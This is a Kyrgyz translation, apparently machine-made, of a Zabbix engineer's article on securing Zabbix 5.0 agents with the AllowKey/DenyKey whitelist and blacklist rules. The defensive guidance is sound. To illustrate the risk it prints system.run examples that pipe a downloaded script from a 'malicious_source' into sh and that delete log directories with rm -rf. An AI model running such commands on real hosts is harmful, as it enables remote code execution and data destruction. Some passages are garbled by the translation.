
Агенттик көрсөткүчтөр үчүн кара тизме жана ак тизме колдоо
Тихон Усков, Интеграция инженери, Zabbix
Маалымат коопсуздугу маселелери
Zabbix 5.0 сиз Zabbix Агентти колдонуу менен системалардагы коопсуздукту жакшыртууга мүмкүндүк берген жаңы функцияга ээ жана эски параметрди алмаштырат EnableRemoteCommands.
Агентке негизделген системалардын коопсуздугун жакшыртуу агенттин көп сандагы кооптуу аракеттерди аткара ала тургандыгы менен шартталган.
- Агент конфигурация файлдарынан, журнал файлдарынан, сырсөз файлдарынан же башка файлдардан дээрлик бардык маалыматты, анын ичинде жашыруун же потенциалдуу кооптуу маалыматты чогулта алат.
Мисалы, zabbix_get утилитасын колдонуу менен сиз колдонуучулардын тизмесине, алардын үй каталогуна, сырсөз файлдарына, ж.б.

zabbix_get утилитасын колдонуу менен берилиштерге жетүү
ЭСКЕРТҮҮ. Маалыматтар агенттин тиешелүү файлда окуу уруксаттарына ээ болгондо гана алынышы мүмкүн. Бирок, мисалы, файл /etc/passwd/ бардык колдонуучулар окуй алат.
- Агент потенциалдуу кооптуу буйруктарды да аткара алат. Мисалы, ачкыч *system.run[]** тармак түйүндөрүндөгү каалаган алыскы буйруктарды, анын ичинде агент тараптагы буйруктарды аткарган Zabbix веб-интерфейсиндеги скрипттерди аткарууга мүмкүндүк берет.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- Linux'та агент демейки боюнча тамыр артыкчылыктары жок иштейт, ал эми Windows'до система катары кызмат катары иштейт жана файл тутумуна чексиз кирүү мүмкүнчүлүгү бар. Демек, орнотуудан кийин Zabbix Агенттин параметрлерине эч кандай өзгөртүүлөр киргизилбесе, агент реестрге, файл тутумуна кире алат жана WMI сурамдарын аткара алат.
Мурунку версияларда параметр EnableRemoteCommands=0 көрсөткүчтөрдү ачкыч менен өчүрүүгө гана уруксат берилген *system.run[]** жана веб-интерфейстен скрипттерди иштеп жатат, бирок айрым файлдарга кирүү мүмкүнчүлүгүн чектөөгө, агент менен орнотулган жеке ачкычтарга уруксат берүүгө же өчүрүүгө же жеке параметрлерди колдонууну чектөөгө эч кандай мүмкүнчүлүк болгон эмес.

Zabbixтин мурунку версияларында EnableRemoteCommand параметрин колдонуу
AllowKey/DenyKey
Zabbix 5.0 агент тарабында метрикага уруксат берүү жана четке кагуу үчүн ак тизмелерди жана кара тизмелерди берүү менен мындай уруксатсыз кирүүдөн коргоого жардам берет.
Zabbix 5.0 бардык баскычтар, анын ичинде *system.run[]** иштетилди жана эки жаңы агент конфигурациясынын варианттары кошулду:
AllowKey= - уруксат берилген текшерүүлөр;
DenyKey = — тыюу салынган текшерүүлөр;
бул жерде мета символдорду (*) колдонгон параметрлери бар негизги аталыш үлгүсү.
AllowKey жана DenyKey баскычтары белгилүү бир үлгүнүн негизинде жеке метрикага уруксат берүүгө же четке кагууга мүмкүндүк берет. Башка конфигурация параметрлеринен айырмаланып, AllowKey/DenyKey параметрлеринин саны чектелбейт. Бул текшерүүлөр дарагын түзүү аркылуу агент системада так эмне кыла аларын так аныктоого мүмкүндүк берет - аткарылуучу ачкычтар, мында алардын жазылуу тартиби абдан маанилүү ролду ойнойт.
Эрежелердин ырааттуулугу
Эрежелер конфигурация файлына киргизилген тартипте текшерилет. Ачкыч биринчи дал келгенге чейин эрежелер боюнча текшерилет жана маалымат элементинин ачкычы үлгүгө дал келээри менен ага уруксат берилет же четке кагылат. Андан кийин, эрежени текшерүү токтойт жана калган баскычтар этибарга алынбайт.
Демек, эгер элемент уруксат берүү жана четке кагуу эрежесине дал келсе, натыйжа конфигурация файлында кайсы эреже биринчи турганына жараша болот.

Бир эле үлгү жана ачкыч менен 2 башка эрежелер vfs.file.size[/tmp/file]
AllowKey/DenyKey баскычтарын колдонуу тартиби:
- так эрежелер
- жалпы эрежелер,
- тыюу салуучу эреже.
Мисалы, эгер сизге белгилүү бир папкадагы файлдарга кирүү керек болсо, адегенде аларга кирүүгө уруксат беришиңиз керек, андан кийин белгиленген уруксаттарга кирбеген бардык нерселерди четке кагыңыз. Биринчи баш тартуу эрежеси колдонулса, папкага кирүү жокко чыгарылат.

Туура ырааттуулук
Эгер сиз 2 утилитага * аркылуу иштөөгө уруксат беришиңиз керек болсоsystem.run[]**, жана четке кагуу эрежеси биринчи көрсөтүлөт, утилиталар ишке киргизилбейт, анткени биринчи үлгү ар дайым каалаган баскычка дал келет жана кийинки эрежелер этибарга алынбайт.

Туура эмес ырааттуулук
Үлгүлөр
негизги эрежелер
Үлгү - бул айкалыштыруу белгилери бар туюнтма. Метабелги (*) белгилүү бир позициядагы каалаган символдордун каалаган санына дал келет. Метабелгилер ачкычтын аталышында да, параметрлерде да колдонулушу мүмкүн. Мисалы, сиз биринчи параметрди текст менен так аныктай аласыз, жана кийинкисин коймо белги катары көрсөтүңүз.
Параметрлер чарчы кашаага [] алынышы керек.
system.run[*- туура эмесvfs.file*.txt]- туура эмесvfs.file.*[*]-туура
Кожоюн белгини колдонуунун мисалдары.
- Ачкычтын аталышында жана параметрде. Бул учурда, ачкыч параметрди камтыбаган окшош ачкычка туура келбейт, анткени үлгүдө биз ачкычтын аталышынын белгилүү бир аягы жана белгилүү бир параметрлер топтомун алгыбыз келет деп көрсөткөнбүз.
- Эгерде үлгү төрт бурчтуу кашааларды колдонбосо, үлгү параметрлерди камтыбаган бардык баскычтарга уруксат берет жана көрсөтүлгөн параметрди камтыган бардык баскычтарды четке кагат.
- Эгерде ачкыч толугу менен жазылса жана параметрлери ийкемдүү белги катары көрсөтүлсө, ал каалаган параметри менен окшош баскычка дал келет жана төрт бурчтуу кашаасыз ачкычка дал келбейт, б.а. уруксат берилет же четке кагылат.

Параметрлерди толтуруу эрежелери.
- Эгер параметрлери бар ачкыч колдонууга арналган болсо, параметрлер конфигурация файлында көрсөтүлүшү керек. Параметрлер метабелги катары көрсөтүлүшү керек. Кандайдыр бир файлга кирүү мүмкүнчүлүгүн кылдаттык менен четке кагуу керек жана метрика ар кандай орфографиялар боюнча кандай маалыматты бере аларын эске алуу керек - параметр менен жана параметрсиз.

Параметрлери бар ачкычтарды жазуу өзгөчөлүктөрү
- Эгерде ачкыч параметрлери менен көрсөтүлсө, бирок параметрлер милдеттүү эмес жана метабелги катары көрсөтүлсө, параметри жок ачкыч чечилет. Мисалы, эгерде сиз CPUдагы жүктөм жөнүндө маалыматты алууну өчүргүңүз келсе жана system.cpu.load[*] ачкычын өчүрүү керек экенин көрсөтсөңүз, параметри жок ачкыч орточо жүктөө маанисин кайтарып берерин унутпаңыз.

Параметрлерди толтуруу эрежелери
Эскертүүлөр
тууралоо
- Кээ бир эрежелерди колдонуучу өзгөртө албайт, мисалы, ачылыш эрежелери же агенттин авто-каттоо эрежелери. AllowKey/DenyKey эрежелери төмөнкү параметрлерге таасирин тийгизбейт:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
ЭСКЕРТҮҮ. Эгер администратор ачкычты өчүрүп койсо, суралганда Zabbix метрика же ачкыч эмне үчүн "категориясына" кирери тууралуу маалымат бербейт.КОЛДОЛБОЙТ'. Алыскы буйруктарды аткарууга тыюу салуулар жөнүндө маалымат агент журналынын файлдарында да көрсөтүлбөйт. Бул коопсуздук себептери үчүн, бирок кандайдыр бир себептерден улам көрсөткүчтөр колдоого алынбаган категорияга кирсе, мүчүлүштүктөрдү оңдоону татаалдаштырат.
- Тышкы конфигурация файлдарын (мисалы, алфавиттик тартипте) туташтыруу үчүн кандайдыр бир конкреттүү тартипке ишенбешиңиз керек.
Command Line Utilities
Эрежелерди орноткондон кийин, бардыгы туура конфигурацияланганына ынанышыңыз керек.
Сиз үч варианттын бирин колдоно аласыз:
- Zabbix'ке метрика кошуңуз.
- менен сыноо zabbix_agentd. опциясы менен Zabbix агенти -басма (-p) конфигурацияда уруксат берилбегендерден башка бардык баскычтарды (демейки боюнча уруксат берилген) көрсөтөт. Жана варианты менен -тест (-t) тыюу салынган ачкыч кайтып келет 'Колдоого алынбаган нерсе ачкычы'.
- менен сыноо zabbix_get. Утилита zabbix_get опция менен -k кайра келет 'ZBX_NOTSUPPORTED: Белгисиз метрика'.
Уруксат берүү же баш тартуу
Сиз файлга кирүү мүмкүнчүлүгүнөн баш тартып, мисалы, утилитаны колдонуп текшере аласыз zabbix_getфайлга кирүүгө тыюу салынган.

**
ЭСКЕРТҮҮ. Параметрдеги тырмакчалар этибарга алынбайт.
Бул учурда, мындай файлга кирүү башка жол аркылуу берилиши мүмкүн. Мисалы, символдук шилтеме ага алып келсе.

Көрсөтүлгөн эрежелерди колдонуунун ар кандай варианттарын текшерүү, ошондой эле тыюу салууларды айланып өтүү мүмкүнчүлүктөрүн эске алуу сунушталат.
Суроолор жана жооптор
суроо. Эмне үчүн эрежелерди, уруксаттарды жана тыюуларды сүрөттөө үчүн өз тили менен мынчалык татаал үлгү тандалган? Эмне үчүн, мисалы, Zabbix колдонгон туруктуу сөз айкаштарын колдонуу мүмкүн болгон жок?
жооп. Бул regex аткаруу маселеси, анткени адатта бир гана агент бар жана ал көп сандагы көрсөткүчтөрдү текшерет. Regex - бул өтө оор операция жана биз миңдеген метрикаларды ушундай жол менен текшере албайбыз. Wildcards - универсалдуу, кеңири колдонулган жана жөнөкөй чечим.
суроо. Include файлдары алфавиттик тартипте камтылган эмеспи?
жооп. Менин билишимче, эгер сиз эрежелерди ар кандай файлдарга жайылтсаңыз, эрежелердин кандай тартипте колдонулаарын алдын ала айтуу дээрлик мүмкүн эмес. Мен бардык AllowKey/DenyKey эрежелерин бир Include файлында чогултууну сунуштайм, анткени алар бири-бири менен өз ара аракеттенишет жана бул файлды камтыйт.
суроо. Zabbix 5.0 параметринде 'EnableRemoteCommands=' конфигурация файлында жок жана AllowKey/DenyKey гана барбы?
Жооп. Ооба бардыгы туура.
Конул бурганын учун рахмат!
Source: www.habr.com
